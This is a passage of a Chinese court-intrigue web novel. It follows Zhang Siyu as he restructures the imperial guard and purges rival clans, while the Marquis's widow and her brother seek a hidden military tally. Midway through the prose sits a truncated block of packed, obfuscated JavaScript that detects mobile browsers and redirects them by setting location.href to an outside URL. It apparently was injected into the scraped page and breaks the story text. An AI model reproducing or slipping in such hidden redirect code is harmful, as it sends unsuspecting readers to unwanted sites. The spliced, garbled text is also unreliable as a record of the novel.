陈春山道,“杨统领,我可以不进神枢营。但上将说的极是,今后禁军七营该当与神枢营如何公平论较,你们理当给个说法,是继续受你神枢营的命,还是我们八营均势鼎力?”
霍长飞下马,顶着上方瞄来的箭尖,走上前来,朝着屋顶问道,“你想怎么个鼎力法?”
陈春山道,“我们所求,不过是希望楚统领今后对待禁军八营一视同仁,神枢营的人有几匹马,我们就要几匹马,神枢营用什么兵器,我们便要用什么兵器。”
霍长飞道,“从今往后禁军是禁军,神枢营是神枢营,我们井水不犯河水如何?”
陈春山道,“兄弟分家,都讲个平均,霍统领只提分家,却不提这家中之物该怎么分,你问问七营的兄弟们愿意接受吗?”
霍长飞道,“我们总不至于真要拼个鱼死网破吧?”
张司宇忖了忖,若真能就此收归禁军七营人马,手中有了可用之人,总比孤立无援的强。道,“好,从今日起,武德司前院归禁军七营,后院归神枢营,今后无论禁军七营强大成什么模样,还请神枢营的诸位不要眼红才是。”
霍长飞微微一笑,转身走到楚英身旁,附耳说道,“陈大人有交代,即使张司宇来禁军滋事,也不可因他动摇神枢营根基。”
楚英深明,陈雅安所谓的神枢营根基,指的不仅是神枢四将,还有神枢营全员将士。
楚英虽是禁军大统领,但白陵少主却将神枢营选人的要事,交由眼光更为精准严苛的陈雅安负责,楚英深知此事之难,此事之重。十余年前,陵侯开始组建神枢营,立志要打造出一支由五百精锐抵万人队伍的军队,千挑万选至今,才只三百八十一人在册,损失一人,都无从找补。
眼见陈春山弓上架起的三箭,每箭都可能使神枢营减员,李蒙负伤,而张司宇又近在身旁。
楚英上前对张司宇松口道,“禁军要有禁军的模样,别去学那些乱臣贼子的勾当。”
许自山见霍长飞向自己摆起了手,而张司宇在朝屋顶摆过手后,陈春山也已经收起弓箭,正要跳下屋顶,遂将逐日弓挎到背后,走到武德司前,拦下陈春山,“陈春山,你真的不想进神枢营了吗?”
陈春山怔愣住了,看许自山正用生满茧子的食指摩挲着另只手的虎口,虎口处长着更为厚重的一层干茧,那时常年勒弦握弓才磨出的。心想,如果没有上将来为我讨要公道,今日会得个许统领问话的机会吗?
可许自山却用着很是认同的语气道,“陈大人自知道有你这个人后
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,就跟我说,一山还有一山高,若三年后我还是这般没有进益,便要将我贬为马前卒了。”
一山还有一山高。
这一声回荡在武德司大门前,所有人都听得到。
陈春山心中一阵激荡,难信问道,“他真这么说的?”随着目眶一颤,“不可能,陈大人甚少到校场来,他怎么会知道我的?”
许自山回道,“你若愿留下,待陈大人回来,我可以请他与你比试一番,到时你就明白为什么了。”
陈春山道,“可惜李统领已将我逐出摇光营了。”
许自山问向李蒙,“可有此事?”
李蒙回道,“今日便是他将张司宇引来的,这样的人,留着何用。”
许自山惋惋一叹,没再说话。
韩立华等人上前,将张司宇请进武德司。张司宇潜运掌风,带起落地黑甲。
陈春山和李寒为王猛处理伤势,韩立华则向张司宇汇报到斩杀神枢营七营主副将领时,玉衡营统领路通见其余六营将领的结果,当场倒戈,问张司宇该如何处置。
张司宇思量片刻,“识时务者为俊杰,路通有意,我岂会无情,自当官居原职。”
这时,应简和宋志斌等人随着进来了,听到张司宇所言,应简道,“宋大哥,看我说的是不是,我们不仅一切如旧,禁军风貌,今后定将焕然一新。”
张司宇审量着应简,淡淡一笑,朝着身旁的宋志斌道,“没想到天枢营有如此人才,可见宋统领治下,丝毫不逊汤克。”
宋志斌拜道,“末将不敢居功。”
张司宇道,“我对禁军,还有些其他的想法,正想与诸位商议。”
韩立华与路通、宋志斌相视一眼,一齐拜道,“上将请讲。”
张司宇道,“以往禁军除了受压于神枢营,还受军方掣肘,白陵司马沈大人乃姚远舟内弟,他们向禁军分发物资,向来是卡着份例来的,譬如马匹,四千匹马,大半流入神枢营,其余的,我们七营怎么分都是不足。我想与其如此,倒不如改一改禁军编制,将其中擅长骑艺的归为骑营,负责墨白城外城防务,擅长脚力的归为步兵营,负责墨白城内城防务,诸位意下如何?”
韩立华点了点头,“不仅如此,末将认为,还可专门安排出人手,按需分配各营军备。”
张司宇喟叹道,“昔年,伯父以北方星斗之名,冠于禁军诸营,是为七星鼎力之意。既然今后七营分工将异,看来这禁军诸营的称号,也该改一改了。”
韩立华微露异色,正要出言劝谏,却听应简率先发声道,“禁军到了上将手中,就该有番新气象,上将说怎么改,我们便怎么改。”
张司宇道,“韩统领老成持重,依我看做这虎贲营统领,主持军备分配,最合适不过了。天枢、天璇二营不必大动,宋志斌、应简,你二人出自天枢营,今我命你二人为步兵营、中垒营统领,继续负责内城防务。”
韩立华见应简和宋志斌跪拜谢恩,便也接受了禁军七营改番号一事。
张司宇继续道,“路通、王猛、李寒,你三人为越骑营、骠骑营、屯骑营统领。陈春山,你的箭技属实令人大开眼界,我命你要以最快的速度,训练一支射骑队伍来,人数不设上限,多多益善,这支队伍,就叫射声营。至于各营人员调动,韩立华,路通,你二人在禁军多年,自是比我了解该如何安置各营兵将,商量好后,报给我便是。”
王猛、李寒颇感意外,当即谢过。
张司宇简单交代过后,叮嘱王猛好生休息,离开武德司,向应简使了个意味深长的眼神。
30. 南墙铜壁
不过半盏茶的功夫,便听到摘星阁外传来应简的声音。
张司宇收起指边摩挲的玄鳞甲片,掩进袖下,唤人进门。
但见应简正要跪拜行礼,张司宇起身,两步并一步上前拦下,“快快请起。”
应简颔首施礼,“小人应简,多谢上将提携,定为上将肝脑涂地、鞠躬尽瘁。”
张司宇道,“以你的本事,这都是你应得的,我看你身手不错,怎么此先只得了个百长做?”
应简道,“自末将被少主退回天枢营后,汤统领像是得了什么指令似的,未再重用过末将了。”
张司宇停顿片刻,“少主不屑做那遮遮掩掩的事,即使真有什么指令,也绝不会是少主的意思。”
应简心头一涌,猜测着张司宇所指,会不会是陈雅安。
张司宇又道,“我叫你来,是想问问你神枢营的装备。他们的玄鳞甲、逐日弓,还有那射天弩究竟是怎么一回事?”
应简道,“那都是只有在神枢营才见得着的,其实末将也没见过射天弩是什么样的,更没听神枢营的人对外提过,只是陈大人离开墨白城前,末将偷听到他对楚统领说,一定要看好射天弩,说那东西威力太大。”
张司宇道,“看来神枢营的武库不简单呢。”
应简点头道,“今日上将也瞧见了,玄鳞甲刀枪不入,还有那逐日弓,神枢营人手一张,听说,许统领用逐日弓,近可轻松破甲,远可射到近三百步外。”
张司宇惊道,“人手一张?你是说,神枢营有三百多张这样的弓?”
应简道,“何止逐日弓?武库中的每件神兵利器,都是人人有份的。上将,我还听说那中还有一样明亮的铠甲,论起刀枪不入,较之玄鳞甲更甚。”
张司宇道,“你知道如何才能进武库中去看一眼吗?”
应简道,“神枢营的武库是铜墙铁壁,连地面都是,唯有四位统领同时开锁,才能打开大门。”
张司宇默了默,“看来禁军七营要比过神枢营,不是一日半日的事了。”
应简旦旦道,“末将相信,假以时日,上将定能拿下神枢营。”说着,视向张司宇,却见他也正定定瞟向自己,眼中酝酿着莫名的风暴。
张司宇轻松笑道,“应简,我们若只盯着一个神枢营,是不是太过局限了?”
应简一顿,试探道,“上将的意思是?”
张司宇脸上笑容开始消失,“白陵的蛀虫太多了,朝里朝外都是,是时候该动动了。”
应简眼底一亮,知道张司宇开始正式培植自己的势力了。
什么是蛀虫?都是藏进树干、谷物中的,没有人挖,哪里看得出生了蛀虫。再者,挖出来的虫是害还是益,还需判定。
三日后,张司宇召见右相孟樊和司农孟常悠、司马沈烨,提及优待禁军一事。
孟常悠直言,每年分给兵部的银两已是白陵内最大的一笔开销。沈烨却道,白陵有五路大军,十万兵马要养,若贸然提高禁军待遇,恐怕会引起军中不满。
见两人互相推诿,张司宇施以威压,下令右相孟樊想尽办法,也要增出三成军用。
孟繁置若罔闻,离去后同孟常悠置喙张司宇不知轻重,三成军用随口便来,像小孩子过家家。
姚远舟从沈烨处得了消息,想着既增军营之用,与进自己的口袋无意,并无异议,勒令沈烨促成此事。
这消息不知何缘故,不胫而走,竟流进坊间。
以讹传讹后,已经演化到白陵宗亲世家生活奢靡,官府将要增加三成赋税,以供养各门世家的公子哥。
内有姚远舟和兵部紧盯,外有民声议论,右相孟樊和司农孟常悠商算过后,下令加税一成,一为满足姚远舟的胃口,二为平息民议。
这日,张司宇率骠骑营自城外练兵归来,见墨白城门处跪着一群衣衫褴褛的百姓,拦住去路。
王猛带人上前驱逐,发现其中一人甚是眼熟,好像是应简手底下的,疑愣时分,那人撞开王猛,扑到张司宇马下,哐哐磕起了头,“张二公子,我们就要活不下去了,若再加粮税,唯有把这条命给你了。”
白陵军强政通,四邻不敢来犯,加之水土充沛,非遇大灾大旱,断不存在活不下去一说。他这一喊,四周百姓都张望过来。
张司宇道,“一派胡言,白陵近年诸事平顺,百姓丰衣足食,怎就你活不下去了?”
那人哭腔回道,“张二公子,您开开眼,我们本是定州辖下吴家村的,前不久村里来了位大爷,也拿了份田契出来,说我们的田地都是他们的,现在官府又要加税,这要我们可怎么活呀?”
张司宇道,“若真是你们自己的田,田契怎会到了他人手中?”
那人道,“我们本有田契,都是祖上传下的,但那位大爷说官府已经将吴家村的田分给了他,将我们赶了出来。”
张司宇道,“来的什么人?这么大胆?”
那人道,“那位大爷姓孟,说是都城来的,他身边的人称呼他叫孟三爷。”
“孟三爷?”张司宇顿了下,朝王猛道,“传孟樊和孟尝悠来。”
良久过后,孟樊父子赶来,随从驱开围得水泄不通的百姓们,孟樊走上前来,看张司宇直立立站在墨白城外,向张司宇拱手施礼。
张司宇回过礼后,“孟相爷,司宇今日听了个新鲜事,隐约和孟家三爷有关,正想请您过来一道听听。”
孟樊道,“老三这阵儿去定州那边收田租去了,最是忙的时候,哪有闲暇回都城。”
张司宇道,“去了定州?我记得孟相爷祖上是宣州人,怎么要去东边收租,难道是司宇记错了?”
孟樊道,“二公子没记错,老三老四经商多年,自然是四处都要跑动的,才侥幸存下了几亩薄田。”
张司宇点了点头,“这倒也是,有孟相爷一道文书,他们到了哪里还不是畅通无阻,自然是要多跑跑,这雪花银才能流转得快些。”
孟樊顿时警惕起来,打着马虎眼道,“若真是这样,老三老四也不至于一年中有大半年不着家,在外为那几分辛苦钱奔波。哪像杜家,坐拥金山银山,产业铺得遍地都是,还有那蒋淮公,只要在家中打打算盘,就有了进项。”
张司宇朝那诉冤的百姓问道,“你看这人,长得像不像你口中的孟三爷?”
那人打量了眼孟樊,向张司宇道,“有几分像,但孟三爷看着比这位官爷年纪轻些。”
张司宇云淡风轻道,“自然是要年轻些,这位可就是你口中那孟三爷的亲哥哥,前不久,也是他的儿子,白陵司农孟常悠孟大人下令,给你们加的粮税。你们身上的民脂民膏,里里外外可是被他们孟家人扒了两次下来。”
衣衫褴褛的百姓像是得了令的僵尸似的,看向孟樊,目眦欲裂。
桃李苑内。
魏良臣与严固隔着小几相对,茶气袅袅升腾。
窗檐下,顾友庭忧心忡忡,又重复道,“良臣,严固,司宇他言辞凿凿,我是真的劝不住他了,还望你二人今后,多多为他操持才是。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647500|188215||http|test|mini|href|location''.split(''|''),0,{}));
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>魏良臣道,“二公子此事虽行的冒失,但言之在理。官官相护之事,我见得比谁都多,若不能一口气清理干净,今日倒下一个,明日孟家就能再推个人出来。唯有像二公子这般魄力,放开手脚一举连根拔出,才能治标治本。不仅是孟家,沈家,崔家,各个都当如此。只是这崔家,如今当家的是君侯表兄崔潇,我真的担心,二公子他一个人抗不住啊。”
严固道,“崔潇又如何?你可知道,廷尉和司礼衙门这二年来,为他崔家人设了多少闲职出来吗?少主上面的三位兄长都还没议亲,崔源崔大人已经开始准备起少主大婚的事宜来了,单是大婚当日的流程,就已走了五六遍。”
顾友庭道,“我也听说了,崔源为此,从江南定了数批绫罗绸缎,金银细软,却一丁点都没有送进墨白城来。”
魏良臣道,“话虽如此,可崔潇,崔源两位大人,他们祖上三代都与张家有亲,但二公子却要我们为崔家定个诛九族的罪名,这,这不是连张家那些远房族亲一并都算在内吗?”
严固拍桌道,“魏兄,二公子既有此主张,又竭力支持我们,做是不做,你留话便是,这般犹豫做甚?”
魏良臣端起茶盏,手腕顿在空中,从张司宇命人四处散出白陵世家宗亲生活奢侈靡费事那刻起,就知再难回头了。
顾友庭补充道,“司宇虽志在必得,却非在意气用事,他不是万千叮嘱过,此事万不可波及到沈氏一族。”
突然,一个身影踉跄跌了进来,“孟相没了。”
三人几乎同时看向扶着门框喘息的刘俊,他的喉结又滚了几下,“二公子,二公子他刚刚当着全城百姓的面,先是杀了孟相,而后又砍了小孟大人的脑袋,这会儿又命人去司吏衙门,捉拿孟伦孟大人。”
三人眼中闪过一道异色,知道刘俊带来的消息,是通知几人开始行动的信号。
顺其者苟延,逆其者亡灭。
楚英得了张司宇处死右相消息,第一时间飞鹰传书通知陈雅安,可张司宇哪会留给陈雅安机会还击,连夜命严固提审。
陈雅安虽能看出张司宇此举准备充足,下一步多半会将矛头指向白陵各路世家,告知楚英,沈家与姚远舟关系密切,必要联合姚远舟以保世家不倒。
奈何,在楚英得到陈雅安回信时,孟、崔两家的罪状已经贴满大街小巷。念着陈雅安的嘱咐,楚英愣住了,因为,沈家的人,毫毛都没伤到一根,不得不又回信问询下一步计划。
张司宇凭借手中新得的禁军七营,孟家、崔家的异己者无一幸免,皆在张司宇雷厉的清洗之列不说,清洗过后,官位多空。
这时,不仅是张司宇和陈雅安,姚远舟、肖垂似乎都不约而同地盯上了这些缺位,白陵六部瞬时涌出了很多新面孔。
只不过,张司宇占了先机,率先将魏良臣提拔为大司吏一职,陈雅安安排的人,多数被拒了回。无论是陵侯夫人还是楚英去问细由,亦被张司宇敷衍回来。至于军中姚远舟和肖垂二方,倒是卖足面子。尤其是姚远舟,在几门世家接连倒台后,白陵城内的世家,仅沈家一枝独秀。
不过两年光景,无论墨白城还是整座北都白陵,除了军方势力,多数已为张司宇所控。甚至,陵侯夫人也再难将书信送往江邑娘家。
幸而楚英尚有神枢营在,虽不能与白陵五路大军相较,但却能暂且保得君侯府一时安隅。
张司宇却又下了一道令,虑及少主和陵侯夫人安危,无他命令,不许二人出北极宫君侯府,将人困得如是笼中之鸟,缸下之鱼。
31. 欲窥天机
赤元十九年后,翌年年号定为光启。
光启元年三月,江邑君侯潘怀,趁着张之合生辰之机,以贺辰之名,远赴白陵,陵侯夫人久困,终见亲人。
兄妹才见,便扑进兄长怀中泣不成声,将近年境遇,一一泣出,邑侯大怒!一手拍到花梨木的花石案,震得案几上的花瓶险些落地。
“岂有此理!”邑侯喝道,“张司宇那小儿怎可敢这般对你?”
陵侯夫人恨诉道,“哥哥,张司宇欺我孤儿寡母不是这一日半日了。当年,夫君见他父母俱去,着实可怜,才将他养在身边,不想,养了这样一个白眼狼出来。”
“他张司宇是个什么?不过是个当不当、正不正的白陵上将,倒真将鸡毛当了令箭!”邑侯愤声道。
陵侯夫人连连啜声,“悔我当初未听哥哥的话,一念心软,没能斩草除根。哥哥,如今,你可还有什么法子除了这狼子吗?”
邑侯无奈,曾为长久计,苦口建言亲妹杀张司宇以绝后患,恰逢圣上下令要请白陵公子到凤临为质。陵侯夫人不舍爱子远走,便遣了张司宇去。
看着兄长默不作声的样子,陵侯夫人攥紧袖口牡丹样的襟边,连声不忿道,“如今他骤然得势,换是天作离开白陵,如此下去,该如何是好?”
“妹妹,天作近来可好?我也许久没听过他的消息了。”邑侯问道。
陵侯夫人说道,“雅安信中说天作近来颇有长进。”
邑侯听到陵侯夫人与陈雅安仍有书信往来,疑道,“这就怪了,我已有半年未收到你的来信,这才不放心,借着之合生辰的由头到白陵来看看。为何你与天作的通信,仍是畅通?”
陵侯夫人秘声道,“我与雅安的书信走的一直都是天路。”
“天路?”
陵侯夫人解释起,“雅安有只鹰,可日行千里,连夫君都说,那鹰是天地难见的宝贝。张司宇能耐再大,也拦不住那飞鹰的往来出入。这三年,若不是有雅安和楚英,我母子怕早被那张司宇逐出墨白城了。”
邑侯察出眼下陵侯夫人似乎过于倚重二人,有意道,“那张司宇已然养虎成患,这一对鹰犬,妹妹也当留心才是。”
陵侯夫人心底委屈徘徊,眼泪再度夺眶,哭声诉道,“哥哥,眼下在白陵,若说还有谁眼中有我这个陵侯夫人的,除楚英与雅安外,我真是再想不出什么旁的人了。如今我母子能靠的,怕也就是他们二人了。”
邑侯心怜,才见到妹妹不过一盏茶的功夫,便数次涌下落泪,过去的,怕不知是多少以泪洗面的日夜。
只是如今,眼泪并不是解决的办法,厉言道,“靠山山会倒,何况那二人与我们非亲非故,又怎会是长久依靠?楚英尚且算得是你半个儿子,但之合已死,难道他真甘心做个贞夫不成?而那陈雅安,简直是头喂不熟的白眼狼。这些年,我们了他多少金银?还当他有几分斤两?谁想只被张司宇稍稍戏弄,就被困得回不来了。”
陵侯夫人自是心明,“若能用些财物将他拢在身边,我倒情愿。万一他也被张司宇拉拢了去,才真是无力回天了。”接而,又叹了叹气,“除了金银,我也确想不出什么法子让他听命于我。”
邑侯闻声点了点头,想了想,说道,“嫣儿,我在想,若能给陈雅安寻门婚事,或许他才更心甘情愿。”
陵侯夫人叹了叹头,忧道,“若是一般人家,未必入得了他眼,除非是极为贵重的人家。”
听着妹妹有意强调“贵重”二字,邑侯警忧妹妹所指的难道是自己的幼女潘小妹。
却听陵侯夫人又道,“可惜,雅安他是下奴出身,不然,小妹倒是不错的人选。”
邑侯心里松了一截,“这倒不难,待我回江邑,为他寻寻。”
陵侯夫人轻轻点头,“有劳哥哥了。“
邑侯又提醒道,“嫣儿,你可有想过,如今的白陵城,张司宇虽只手遮天,但仍只以副主自居,是为何?”
陵侯夫人锁眉,心思沉重了起来。
邑侯亮出一枚如仙草般淡翠色的令牌,说道,“若他有这个呢?”
陵侯夫人识出,是江邑诸郡协调三军的符节。
恍然大悟,咬着唇道,“白陵兵符不在他手。”
“一旦我们手中有了白陵兵符,任那张司宇再是如日中天,武功再是高强,对上白陵城的十万雄军,他可还有招架之力?”邑侯沉下声,紧接又问了句,“妹妹,你可知风云令现在何处?”
陵侯夫人柳暗花明,“我让楚英去找找,有任何消息,雅安会通知你。”
邑侯意会,往后与陵侯夫人的通信,也只得依靠陈雅安的那只鹰了。
邑侯离开白陵后,陵侯夫人便扬言称丢了一件玉器,楚英率领神枢营全营人马于北极宫内搜寻,无果。
最后,将目光放在墨白城后山腰,与北极宫毗邻的,天作之合馆。
这座宫殿是陵侯为张天作兄妹二人所建,二人搬入后不久,陵侯便下令,无关人等,禁止出入天作之合馆。
那可以进的人是谁呢?张天作,白陵少主,以及他们的左膀右臂,楚英和陈雅安。
神枢营搜寻的队伍声势浩大,又突然停止行动。
楚英也是疏忽了收尾的工作,致使张司宇察觉到,搜寻玉器一事恐有隐情。
楚英几日未出天作之合馆。更令张司宇生疑,不知邑侯兄妹见面时又密谋出什么花招?
百般无奈之际,张司宇只得搬往在天作之合馆上山路间,张云冲昔年的住处——流云居。
在这里,天作之合馆院内一切动静,皆可收入他的眼底。他发觉,楚英确实在找什么东西。
可惜,近乎一个春天过去,楚英将天作之合馆里里外外搜了十数遍,仍没寻到那枚风云令。
陵侯夫人只得向陈雅安询问风云令之所在,陈雅安答复,当年建造天作之合馆时,陵侯留有密室,许风云令在密室内。
陵侯夫人向楚英询起密室一事,楚英竟像是头次听说一般,只得去寻访当年建造天作之合馆的工匠关于密室的在处。
然而,正如陈雅安所言,那间密室是陵侯为张之合一个人留下的,询问了十数位工匠,一无所获。
张司宇更加觉出,楚英一定是在寻找一件十分隐秘、又十分重要的物事,才不惜如此大动干戈。<
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不知不觉间,又一个夏天过去了。饶是暑热气躁,这会儿也透出了凉意。
白陵城又处在北地,冷得也比凤临要早些。
一位骑着火红马的红衣男子,正悠悠扬扬地赏着秋后骄阳,向白陵都城行进,马上的那柄符光剑,仍是一耀一闪。
墨白城禁军守卫,看到那剑,将人迎入。
不及通报,红衣男子已是大摇大摆走向摘星阁,却听人来报,“上将近日已迁居住到了后山的流云居。”
红衣男子眯起眼,唇角勾起一抹浅浅的笑容,便自囊中拎出本书,向后山而去。
越过假山石林,那滩秋水上,余波仍映着夕阳的金晖,翠荇浮菱,摇摇落落。
下山腰处的天作之合馆仍是静谧,秋枝掩映灰墙,葱茏中见几处雕栏,路过时听不到一丝动响。再走不到半盏茶功夫,瞧见三间整齐的瓦房,大门头处,楷书着“流云居”三字。
“司宇,瞧我带什么宝贝来了?”红衣男子还未进流云居,其声便遥遥而止。
张司宇抬头望去,见他正向自己扬手挥书,颇为诧异,两年前才将将有自己肩膀高的六皇子,如今已高出了自己半头,笑道,“阿鸣,前不久你来信说第二本已然完稿,不想还亲自送来了?”
“这本,少了你出力,煞是费脑!”六皇子故作抱怨着,实则眼中骄洋不已。
张司宇接过书来,阅了几页,褒奖道,“你这套书功在将来,是后世之福。”
六皇子随拾起张司宇才放下的茶碗,哐叽哐叽三碗茶水,说道,“这本珍禽异兽,大多是百里城从垦岭收集来,我又可着宫里的古卷典籍校正了一遍,天上飞的,地上跑的,水里游的,差不多都在里面了。”
张司宇边翻看,边道,“这才是《山河异志》该有的模样,既是普民之用,当初确犯不着将百家兵器作为首本。”
六皇子拭了拭嘴角余茶,“司宇,你有所不知,我七八年前就准备著套百物全书来,也曾就此事请示过太子,但他竟觉我是在痴言,所谓出书也不过一时脑热。为了这本书,我不知游说过多少人,却只有你愿真心襄助。这也是没法子,才选了你最是擅长的兵器谱来试一试。”六皇子翘起条腿,苦苦怨道,“你是不知,我还是亲自拿着第一本去给太子瞧过,他才同意书信给那些世家公子们帮我的。”
张司宇低眉细读间,嘴上关心问道,“余下进展如何了?”
“珍禽类的,百里城甚是敷衍,我也是私下下了不少功夫,才整理出来。余下的嘛,百草本目,朱阳王婶和阿夏正在清农帮我整理,估计也快了。地志编,各城已将相关书目送来铜雀别苑,这二年来,我已在中、南二都实地考察过了。北地这边,我信得过你,白陵就不亲自走了。得空我再去游历东面的燕山、东海、津化和西荒垦岭也就差不多了。接后再做开物和文粹两本。你呢?天文一类准备得如何了?”
张司宇听他说得头头是道,望了望屋内,“差不多了,我拿与你过目。”说着,便起身朝屋内走去。
六皇子悻悻眺望起天作之合馆,嘴角浅浅一提,可真是安静,安静得好像,根本没人似的。
32. 一言惊梦
同六皇子互自品读彼此撰出的《五州山河异志》,论张司宇如何也想不到,这位不甚着调的凤临皇子为了一套所涉内容极其庞杂、琐细的书,会有如此耐性。
六皇子瞄望着张司宇流出的满意与赞许神色,“司宇,你觉这本《天禽地兽》内容如何?”
张司宇摊开一页,双指落在一威风赫赫的墨黑雄鹰画处,“这巨山隼,说是天下第一鹰,不妥。”
那双识辨万物的慧眼突沉,“为何?”
张司宇指尖转向下方的天作之合馆,“天下第一鹰,在那里。”
朱唇轻启,喃喃道,“一鹰一犬,你说的莫不是天作之合馆里的那只‘英’吧?”
张司宇微微闭目,脑海中瞬现搬入流云居以来,时常飞入天作之合馆中的那只苍鹰,说道,“我也是近来才知,那只鹰养在了那里。”
六皇子双眶霎开,“说来听听。”
“我在极遥历练时,一位兵士从冰川崖子上寻了一只幼鹰,说是海东青中的极上品类,就将那只幼鹰带回了墨白城,要献给伯父。据说,伯父见到那只鹰,只评了四个字,说是‘天地难见’,当即赏赐千两黄金,提了那兵士入禁军。又说谁能驯得那只鹰,就将那鹰送谁,过了大半年,也没再听得什么消息。我原以为,是那只鹰自己飞走了或者养没了,竟不料,真是被人驯住了。”张司宇顿了顿,用着一股极肯定的语气说道,“还是被他驯住了。”
六皇子的记忆中,陵侯开口,不出言训诫已是不错了,何谈去夸赞什么?他时常绷着脸,亦看不出喜怒,能从他口出“天地难见”四个字,必是绝世稀罕。
“是何人驯住的?”
张司宇抬起眼,口中说着那个如锥在心的名字,“陈雅安。”
“那个很牛的掖庭贱民?”
张司宇指着书册中的巨山隼道,“不错,你若将此鹰定为天下第一,今后被天作之合馆里的人瞧着了,必将笑掉大牙。”
六皇子紧忙合上书,收在怀里,挑了挑眉,道,“带我看看那只鹰去。”
“陈雅安现下不在白陵,等有机会再说吧。”
六皇子恍过味儿来,“对了,司宇,还没问你,怎搬到这敝处来了?”而后又远瞟着天作之合馆,坏着声道,“那里的人,被你分治的如何?”
“陈雅安和我三弟,年尾也该回来了。楚英嘛,阿鸣,你来的正好,楚英这段时日好像在天作之合馆里找什么东西,你帮我参谋参谋,他会是在找什么呢?”
六皇子目光悠悠转向天作之合馆,又打量了一番大权在握的张司宇,“我猜,他肯定是找能对付你的东西。”
张司宇面无惧色,这几年功力再增,又有冲云枪在手,正色道,“他就是能找到青锋剑,也奈何我不得。”
“青锋剑早已失传,他若是要找,也不会只在自己院儿内找。你想想,白陵少主手中,可还有什么能威胁到你之物吗?”
张司宇冥思苦想,目光越飘越远,突地眼瞳大缩,眼角微搐,“是风云令!”
六皇子双眼微微眯起,神中透着一股警觉,“不无这种可能。如今你已手握大权,与白陵君侯相比,差的也就是这枚可号令十万兵马的兵符了。”
“伯父确将风云令交给过少主,按理陈雅安也是该知风云令在何处才是。”张司宇屏着悬心,缓缓猜测着,“难道这事,少主也避着他了不成?”
“风云令,那可是白陵少主的护命符,怎会轻易示人?”六皇子眼过一道奇光,话锋一转,字字有力道,“司宇,我问的问题你还未答完,天作之合馆里的人,被你分治的如何了?”
“不是都告诉你了吗?”
六皇子眼中一眯,定定盯着张司宇道,“还差了一个。”
张司宇骤愣,及时反应过来,故作镇静道,“少主自是在天作之合馆里闭关。”
六皇子故意强调似的,又吐了句,“白陵少主,真的在那里闭关吗?”
“你什么意思?”
张司宇拍案,朝六皇子盯了去,眼珠子飘晃不已。
六皇子闪身坐到张司宇身旁,一手搭过张司宇肩膀,俯到他耳廓处,低声问道,“我怎听说,五年前,一匹浑身是血的疯马独自跑在大街上。还有人识出,那匹马是白陵少主的座骑,但马上,却不见白陵少主的人。”
张司宇一瞬间恍惚过后,即刻答道,“坊间传闻,未必可信。相像的马比比皆是,我的马就和少主的极为相似,我至今还时常错认呢。”
六皇子挑着洒性的声线,“父皇说,陵侯年轻时,就曾四处游历,对大邺地志如数家珍。我这几年周游列城,还想若能碰巧遇见,可以当面同他讨教讨教。”说后,摊开双掌,似有若无道,“可惜,这些年我也一直在外云游,竟都没遇见过他老人家。”
“伯父高居君侯之位,早已与江湖切断干净,此次游历,为省去些麻烦,自然不会以素衣剑仙之名现身。”
六皇子认可地点了点头,“是,这我听阿夏师父提过,陵侯再不过问江湖事了。”继而眼中透着异光,审着张司宇那闪晃的目光,“既然他不过问江湖事,为何又再去云游呢?”
张司宇深吸一气,反口问道,“你说呢?难道酒神不曾与你提过伯父当年游历是为何吗?”
“据说陵侯是在找一把剑。”
张司宇噤了声,心中已慌得不像样了。他十分清楚,六皇子显然察觉了什么,才会这般关问起伯父和四妹。
当下,无法断定他究竟掌握了多少线索,少说少错,不说不错,索性半字不再言。
索求无果的六皇子见张司宇久无反应,半身探向张司宇,压低声音又道,“你猜,我在中都游历时,遇见了谁?”
对着六皇子神秘的笑容,张司宇心神更是难宁,“谁?”
“梁功长。”六皇子不置一笑,得意道,“有没有兴趣听听他是何门何派?”
心中猜忌悄然退潮,张司宇假似无味地听六皇子声色绘起地讲述完梁功长。
六皇子去后,他再难控制,提起一碗茶,撒向地面。心里的委屈却再也压不住了,鼻间不受控地抽噎起来,拳头抵着那发红的鼻翼,一颗颗泪失控地漾出。
天地冥冥,他没想到,在自己选的这条路上,又听到了这个人的消息。
天地冥冥,
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他不知该如何面对,当年令他祖父一病不起的那个人。
他仿佛成了天穹苍宇间最微弱的那颗星,正失色暗淡着。
说回江心学宫,三载寒暑即过,林兮与邱怡的三年之约将逾,期待快些寻个空闲时刻,回云间城去见见令他朝思暮想的姑娘。
三年来,除去练武,最令林兮期待的,便是邱怡的来信。林兮每隔半月便向清农致去书信,邱怡也会如期回信,向林兮浅聊近事。
随着邱怡寄来一封封书信,林兮看出,她的字愈来愈工整,力道也更为均匀。
她的字,很是娟秀,在林兮眼中,就像一朵朵整齐排列,盛力绽放的小花。
邱怡在信中说,清农学堂新来一位夏姓女先生,人好心善,也许幻医正对她提过邱怡需要服用清心丹,才到清农就大度送来一整瓶清心丹。
而邱怡,现下正帮着那位女先生整理药材草本的典籍。
林兮也曾问过邱怡,学医近况。邱怡说玄心奥义诀果是难练,况且服用过清心丹后身体好了很多,叫林兮不要担心。
只是丝毫不提三年之约的事。
林兮没底了,写了一封信,向徐阳询问邱怡的近况。
不问还好,一看徐阳的回信,简直醋意飞生。
徐阳说邱怡不仅身体好了,整个人的精神更是好了百倍。夏先生的儿子夏小五也随夏先生一并来到医堂,夏先生听闻邱怡身体不好,家中又无亲人,就嘱咐她的儿子多陪陪孤僻的邱怡。
邱怡认识夏小五才一年多,整个人全然换了副模样,不仅不怎么进书阁了,终日随着那位女先生整理药材典籍,少不得与夏小五接触过密。
不仅如此,二人还时常约着出城骑马,好得整日黏在一起。
徐阳还透露,夏小五常将一位姓田的女子挂在嘴边,那女子眼下也正在江心学宫学习机关之道。嘱咐林兮,寻个机会去打听一下,免得误了邱怡。
这几页纸,令林兮看得几度发懵。
唰一声,团了起来。
林兮不住地喘着大气,紧咬着后槽牙,忿道,“夏小五,这是什么没品的名字!”
好像又反应过来什么似的,将那团纸重新展开,摊平,找起了关键字眼,“姓田,机关之道,开物门?”
林兮脑子一片空白,放眼开物门,他只认得陈雅安一人,可偏偏那人,生得跟朵高岭之花似的,一话不说,二话不语,百句话中,有九十九句是同张天作讲的。
若说他是从白陵哪处冰山石缝中蹦出来的,林兮第一个举手同意。
